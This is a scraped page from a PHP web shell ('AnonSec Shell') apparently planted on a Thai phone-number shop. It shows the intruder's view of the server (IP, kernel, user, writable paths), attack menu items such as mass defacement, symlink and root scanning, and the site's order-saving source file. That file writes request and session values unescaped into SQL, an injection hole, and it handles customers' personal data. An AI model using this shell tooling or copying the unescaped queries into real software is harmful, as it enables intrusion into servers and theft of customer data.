AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/cart/order_save_old_030923.php
<?php include('../include/class.php');?>
<?php
date_default_timezone_set("Asia/Bangkok");
/*print_r($_GET);
print_r($_SESSION);
exit;*/


$_SESSION['payment'] = $_GET['q'];


//exit;

$date = date("Y-m-d H:i:s");
$list = array(
			'table'=>'orders',
			'id'=>"'".@$_SESSION["order_id"]."'",
			'id_mem'=>"'".@$_SESSION["kai_id"]."'",
			'name'=>"'".@$_SESSION['name']."'",
			'lastname'=>"'".@$_SESSION["lastname"]."'",
			'mail'=>"'".@$_SESSION["email"]."'",
			'address'=>"'".@$_SESSION["address"]."'",
			'province'=>"'".@$_SESSION["province"]."'",
			'zipcode'=>"'".@$_SESSION["zipcode"]."'",
			'phone'=>"'".@$_SESSION["phone"]."'",
			'lineID'=>"'".@$_SESSION["lineID"]."'",
			'delivery'=>"'".@$_SESSION["delivery"]."'",
			'discount'=>"'".@$_SESSION['discount_m']."'",
			'discount_c'=>"'".@$_SESSION["discount"]."'",
			'id_pm'=>"'".@$_SESSION["payment"]."'",
			'total'=>"'".@$_SESSION["total"]."'",
			'listnum'=>"'".@$_SESSION["num_cart"]."'",
			'status'=>'1',
			'status_op'=>'1',
			'date_time'=>"'".$date."'",
			'up_date'=>"'".$date."'"
		);

$add = $actiondata_db->add_db($list);

if($_SESSION['payment'] == 2)
{
	$lem = strlen($_SESSION["order_id"]);
	$num_lem = 11-$lem;
	$num_0='';
	for($i=1;$i<=$num_lem;$i++)
	{
		$num_0 = $num_0.'0';
	}

	$ref = 'ka'.$num_0.$_SESSION['order_id'];

	$ref = $ref;
}




/*$total_lem = strlen($_SESSION["total"]);
$num_lem = 10-$total_lem;
$amount_0='';
for($i=1;$i<=$num_lem;$i++)
{
	$amount_0 = $amount_0.'0';
}
$total_pay = $amount_0.$_SESSION["total"].'00';*/

$total_pay = number_format($_SESSION["total"],2,'','');// ราคารวม เช่น 100 เป็น 10000



$amount = $total_pay;
$firstname = $_SESSION['name'];
$lastname = $_SESSION["lastname"];
$mobile = $_SESSION["phone"];
$email = $_SESSION["email"];
$pmid = $_SESSION['payment'];

$list_phonetext = '';
$array_cart = array_unique($_SESSION["cart"]);
$num=0;
foreach( $array_cart as $id_number )
{
	$sql = array('table'=>'phonenumber','where'=>"id = '". $id_number."'");
	$view_sql = $view_db->view($sql);
	$row = $view_db->q($view_sql);

	$list = array(
			'table'=>'order_detail',
			'id_order'=>"'".@$_SESSION["order_id"]."'",
			'id_pho'=>"'".@$id_number."'",
			'num'=>'1',
			'price'=>"'".$row['price']."'",
		);
	$add = $actiondata_db->add_db($list);


	$sql_type = array('table'=>'mobilenetwork','where'=>"id = '". $row['mobilenetwork']."'");
	$view_type = $view_db->view($sql_type);
	$row_type = $view_db->q($view_type);
	$list_phone = '
	<tr align="center">
		<td>'.$Phone_class->phonenumber($row['phonenumber']).'</td>
		<td><img src="../redbag/mobilenetwork/'.$row_type['image'].'" width="38" height="19"></td>
		<td align="right">'.$row['price'].' บาท</td>
	</tr>';
	$list_phonetext = $list_phonetext . $list_phone;
	$p_price = str_replace("," , "" ,$row['price']);
	$sum_price = $sum_price + $p_price;


	$list = array(
				'table'=>'phonenumber',
				'id'=>$id_number,
				'status_number'=>'3',//จองเบอร์
				'up_date'=>$date
			);
	$edit = $actiondata_db->edit_db($list);




	 if($_SESSION['payment'] == 2)
	 {
		$pro_price = str_replace("," , "" ,$row['price']);
		$productlist_pho = $productlist_pho.'[ka'.$id_number.';'.$row['phonenumber'].';1;'.$pro_price.'00]';
	 }

	 if($_SESSION['payment'] == 3 || $_SESSION['payment'] == 4 || $_SESSION['payment'] == 5)//mpay
	 {
		 $Oid_id = $_SESSION["order_id"];

		 $detailproduct_mpay = $detailproduct_mpay . '-'.$id_number;
	 }





	$num++;
}
$num = $num+1;

$sql_de = array('table'=>'delivery','where'=>"id = '".$_SESSION['deliveryid']."'");
$view_de = $view_db->view($sql_de);
$row_de = $view_db->q($view_de);
//$productlist = '[S;2]'.$productlist_pho.'[E;2]';
$productlist = '[S;'.$num.']'.$productlist_pho.'[de'.$_SESSION['deliveryid'].';'.$row_de['name'].';1;'.$_SESSION["delivery"].'00][E;'.$num.']';

if( $add['suc'] == 1)
{
	include("../include/mail.php");
	$to = $_SESSION["email"];
	$from = '[email protected]';
	$sub = 'ยืนยันการสั่งซื้อสินค้า';
	//$today  = $_SESSION['order_day'];

	$today = date("d/m/Y  H:i:s");
	/*$date = new DateTime(date("Y-m-d"));
	$date->modify('+1 day');
	$date_1 = $date->format('d/m/Y');*/
	$date_1 = date("d/m/Y",date("U")+ 60*60*24);


	$id_order = sprintf("%06d",$_SESSION["order_id"]);
	//printf("%06d",$_SESSION["order_id"]);




	$msg = '<b>ข้อมูลการสั่งซื้อสินค้า </b><br>'.
	'
		<table width="100%" border="0" class="tb_receipt">
		  <tr>
			<td align="right"><img src="../image/text_logotop.png" width="200" class="img-responsive"></td>
		  </tr>
		  <tr>
			<td>เลขที่ใบสั่งซื้อ : #'.$id_order.'</td>
		  </tr>
		   <tr>
			<td>วันที่สั่งสินค้า : '.$today.'</td>
		  </tr>
		   <tr>
			<td>ชำระเงินภายในวันที่ : '.$date_1.'</td>
		  </tr>
		</table>
	'.
	'
	<div style="border:1px solid #FFF;margin-top:15px;">
	<table width="100%" border="0" class="tb_receipt">
	  <tr>
		<td>ที่อยู่สำหรับจัดส่งสินค้า</td>
	  </tr>
	   <tr>
		<td>'.$_SESSION['name'] .' '. $_SESSION['lastname'].'</td>
	  </tr>
	   <tr>
		<td>'.$_SESSION['address'] .' '. $_SESSION['province'] .' '. $_SESSION['zipcode'].'</td>
	  </tr>
	  <tr>
		<td>โทรศัพท์ '.$Phone_class->phonenumber($_SESSION['phone']).'</td>
	  </tr>
	</table>
	</div>
	<br><br>
	'.
	'
	<table width="100%" border="1" align="center" class="tb_cart table" cellpadding="5" cellspacing="0">
	  <tr align="center">
		<td>หมายเลขโทรศัพท์</td>
		<td>เครือข่าย</td>
		<td>ราคา</td>
	  </tr>'.$list_phonetext.
	  '
	  <tr>
		<td align="right" colspan="2">รวม</td>
		<td align="right">'.number_format($sum_price).'  บาท</td>
	  </tr>
	  <tr>
		<td align="right" colspan="2">ค่าจัดส่ง</td>
		<td align="right">'.number_format($_SESSION['delivery']).' บาท</td>
	  </tr>
	   <tr>
		<td align="right" colspan="2">ราคารวม</td>
		<td align="right">'.number_format($_SESSION["total"]).' บาท</td>
	  </tr>
	</table>

	<br><br>
	กรุณารอสักครู่... ระบบจะทำการตรวจเช็คสถานะของเบอร์มือถือที่ท่านสั่งก่อน
	<br>
	เมื่อทางระบบเช็คหมายเลขที่ท่านสั่งซื้อสำเร็จ จะส่งอีเมลวิธีการชำระเงินรวมถึงการส่งหลักฐานการชำระเงินให้ท่าน
	<br>
	<br>
	หากมีความล้าช้าหรือมีข้อสงสัยกรุณาติดต่อที่
	<br>
	lineID : <a href=" https://lin.ee/egzGHWJ">@kainumber</a> / <a href="https://lin.ee/egzGHWJ"> https://lin.ee/egzGHWJ</a>
	';

	//print_r($msg);
	$body = $msg.$contact;
	//exit;
	$mail->SetFrom($from, $from);
	$mail->AddReplyTo($from, $from);



	$mail->MsgHTML($body);
	$mail->Subject = 'kainumber - เบอร์มงคล :: '.$sub;
	$mail->AddAddress($to); // ผู้รับ
	$mail->addBCC('[email protected]');// ผู้รับ
	$mail->addBCC('[email protected]');// ผู้รับ

	$mail->addBCC('[email protected]'); // ผู้รับ
	$mail->addBCC('[email protected]'); // ผู้รับ
	$mail->addBCC('[email protected]');



	unset($_SESSION['name']);
	unset($_SESSION['lastname']);
	unset($_SESSION['address']);
	unset($_SESSION['province']);
	unset($_SESSION['zipcode']);
	unset($_SESSION['phone']);
	unset($_SESSION['mail']);
	unset($_SESSION['delivery']);
	unset($_SESSION['deliveryid']);
	unset($_SESSION['total']);
	unset($_SESSION['num_cart']);
	unset($_SESSION['cart']);
	unset($_SESSION['discount']);
	unset($_SESSION['discount_m']);
	//unset($_SESSION['order_day']);


	if(!$mail->Send())
	{
		//echo "<meta http-equiv=\"refresh\" content=\"0; url=../main/index.php?menu=7&&msg=2\">";
		//echo "<br> Mailer Error: " . $mail->ErrorInfo;
		/*?>
            <meta http-equiv="refresh" content="0;URL=checkout4.php?s=2">
            <?php
            exit;*/
		echo 'checkout4.php?s=2';
		//echo 'mail_error';

		//unset($_SESSION['er']);
		//exit();
		//exit;

	}
	else
	{
		if($pmid == 2)
		{
			$date = date('Y-m-d');
			?>
            <form method='post' action="http://pay.onnud20.com/payment/payment.php" name="sendform">
                <input type="hidden"  name='ref' value="<?php echo $ref ?>">
                <input type="hidden"  name='refdate' value="<?php echo $date?>">
                <input type="hidden"  name='productlist' value="<?php echo $productlist ?>">
                <input type="hidden"  name='amount' value="<?php echo $amount ?>">
                <input type="hidden"  name='firstname' value="<?php echo $firstname?>">
                <input type="hidden"  name='lastname' value="<?php echo $lastname?>">
                <input type="hidden"  name='mobile' value="<?php echo $mobile?>">
                <input type="hidden"  name='email' value="<?php echo $email?>">
           <!-- <button onclick="document.sendform.submit();">Submit</button>-->
        </form>
		<script>document.sendform.submit();</script>
            <?php
		}
		if($pmid == 3 || $pmid == 4 || $pmid == 5)//mpay
		{
			//echo 'mpay';
			include('mpay.php');
		}
		if($pmid == 1 || $pmid == 6)
		{
			echo 'checkout4.php?s=1';
			/*?>
            <meta http-equiv="refresh" content="0;URL=checkout4.php?s=1">
            <?php
            exit;*/
		}

			/*?>
            <meta http-equiv="refresh" content="0;URL=checkout4.php?s=1">
            <?php
            exit;*/




	}
}
else
{
	echo 'checkout4.php?s=2';
	//echo 'error';
	/*?>
    <meta http-equiv="refresh" content="0;URL=checkout4.php?s=2">
    <?php
	exit;	*/
}



?>

Anon7 - 2022
AnonSec Team